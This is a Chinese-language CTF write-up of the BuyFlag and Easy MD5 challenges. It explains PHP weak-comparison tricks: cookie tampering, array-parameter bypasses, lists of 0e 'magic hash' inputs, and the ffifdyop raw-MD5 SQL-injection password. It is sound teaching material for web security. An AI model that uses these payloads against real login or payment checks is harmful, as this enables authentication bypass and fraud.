九.弱相等&强相等&md5
(19)[极客大挑战 2019]BuyFlag
查看源码,发现有两个.php,点击查看
查看pay.php的源码,发现有用信息
以post方式传参,money=100000000,password满足等于404,但是不能为数字,弱相等,所以password等于404+任意字符
总结一下需要满足四个条件:前面提示必须是cuit的学生;以post方式传参;money=100000000;password=404a。
所以修改cookie里的user=0为user=1
直接抓包修改
先通过内置浏览器插件 HackBar进行POST传参,再抓包,这样数据包就是POST传参方式,如果直接在数据包里面把GET方式传参改为POST方式传参的话,可能依旧是GET方式传参,这点需要注意。
右键发送到Repeater模块
修改cookie里的user=0为user=1,这里提示数字太长
password=404a&money=1e9
1e9代表1的后面有9个0 => 1000000000 > 100000000 (要大于题目要求的money值!)
否则不够钱
或者使用数组进行传参跳过判断,password不能
money[]=1&password=404a(参数顺序可以调换)
password=404a&money[]=
这里可以等于任何数字或字母或符号,甚至什么也不要
补充[]的ascii码分别是%5B;%5D,不区分大小写
password=404a&money%5b%5d=*
(20)[BJDCTF2020]Easy MD5
查看源代码无果,抓包看一看
或者(这个随便注入一个东西网络有响应)
这里面password就是我们用户框中输入得东西。如果通过md5之后返回字符串是'or 1的话,就形成一个永真条件。
MD5 是一种广泛使用的哈希函数,它会将任意长度的输入字符串转换为一个固定长度(通常为 128 位,以 32 位十六进制字符串表示)的哈希值。
当对字符串 ffifdyop 进行 MD5的32位 哈希计算时,得到的结果是 276f722736c95d99e921722cf9ed621c。
十六进制与 ASCII 码转换
在计算机中,十六进制数据可以按照一定规则转换为对应的 ASCII 字符。每两个十六进制数字对应一个字节,每个字节可以表示一个 ASCII 字符。下面对 276f722736 进行转换:
27 在 ASCII 码表中对应的字符是单引号 '。
6f 对应的 ASCII 字符是小写字母 o。
72 对应的 ASCII 字符是小写字母 r。
因此,十六进制字符串 276f7227 转换为 ASCII 字符后就是 'or',而 36 对应的 ASCII 字符是数字 6,所以 276f722736 转换为 ASCII 字符后就是 'or'6。
与 SQL 注入的关联
假设原本的 SQL 查询语句是 SELECT * FROM 'admin' WHERE password = MD5('用户输入的内容');,当用户输入 ffifdyop 时,查询语句会变成:
sqlSELECT * FROM 'admin' WHERE password = '276f722736c95d99e921722cf9ed621c';
由于 MySQL 会将十六进制字符串解释为对应的 ASCII 字符,上述查询语句实际执行时相当于:sqlSELECT * FROM 'admin' WHERE password = '' or '6c95d99e921722cf9ed621c';
在 SQL 逻辑中,OR 运算符只要有一个条件为真,整个表达式就为真。这里 '6c95d99e921722cf9ed621c' 作为一个非空字符串,在布尔上下文中会被视为 TRUE,所以整个查询条件恒为真,这样就绕过了正常的密码验证,实现了 SQL 注入攻击,ffifdyop 也就相当于一个万能密码。
查看页面源码,发现有一个弱类型比较,也可以数组绕过
由于是GET方式,我们可以构造:?a[]=1&b[]=2
或者:?a=QNKCDZO&b=s878926199a
这两个 MD5 值都是以0e开头,在 PHP 中,以0e开头的字符串会被认为是科学计数法表示的数字,且e后面的数字表示 10 的幂次。在这种情况下,PHP 会将这两个字符串转换为数字0进行比较,所以0e462097431906509019562988736854 == 0e545993274517709034328855841020的结果为true,从而实现了绕过。
尽管这两个 MD5 值在弱相等比较时被当作相同的数字,但它们本质上是不同的字符串。0e462097431906509019562988736854 和 0e545993274517709034328855841020 这两个字符串的内容不同,所以在强相等比较中,由于字符串内容和数据类型都要严格一致,最终判定结果为不相等,也就无法绕过
典型的md5碰撞,这个是弱比较,所以可以用md5值为0e开头的来撞。这里提供一些md5以后是0e开头的值:
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2']))
POST方式,传param1和param2两个参数,这两个参数还不能相等,但是md5转换后的值还要相等(0e开头)
$_POST['param1']!==$_POST['param2']:$_POST 是一个 PHP 超全局变量,用于接收通过 POST 方法提交的表单数据。这个条件检查 param1 和 param2 这两个 POST 参数的值是否不相等。!== 是严格不相等比较运算符,它不仅会比较值,还会比较数据类型。
md5($_POST['param1'])===md5($_POST['param2']):md5 函数用于计算一个字符串的 MD5 哈希值。这个条件检查 param1 和 param2 经过 MD5 哈希计算后的结果是否严格相等。=== 是严格相等比较运算符,会同时比较值和数据类型。
由于后面是强相等,会比较值,所以param1=s155964671a¶m2=s878926199a不行
只能数组绕过
POST传参:param1[]=1¶m2[]=2
MD5有个特点是:如果传入的两个参数不是字符串,而是数组,md5()函数无法解出其数值,而且不会报错,就会得到===强比较的值相等,相当于false==false恒成立。
1. error_reporting(0);
功能:这行代码用于设置 PHP 错误报告的级别。参数 0 表示关闭所有的错误报告,也就是说,当代码运行过程中出现错误时,PHP 不会在页面上显示任何错误信息。这通常是为了避免在生产环境中向用户暴露敏感的错误信息,防止攻击者利用这些信息进行攻击。
2. include "flag.php";
功能:include 是一个 PHP 语句,用于将指定的文件包含到当前脚本中。这里将 flag.php 文件包含进来,意味着 flag.php 文件中的代码会在当前脚本中被执行。
3. highlight_file(__FILE__);
功能:highlight_file 函数用于以语法高亮的形式显示指定文件的源代码。__FILE__ 是一个 PHP 预定义常量,它代表当前正在执行的 PHP 文件的完整路径和文件名。所以这行代码的作用是在页面上显示当前文件(也就是这段代码所在文件)的源代码,方便用户查看代码逻辑。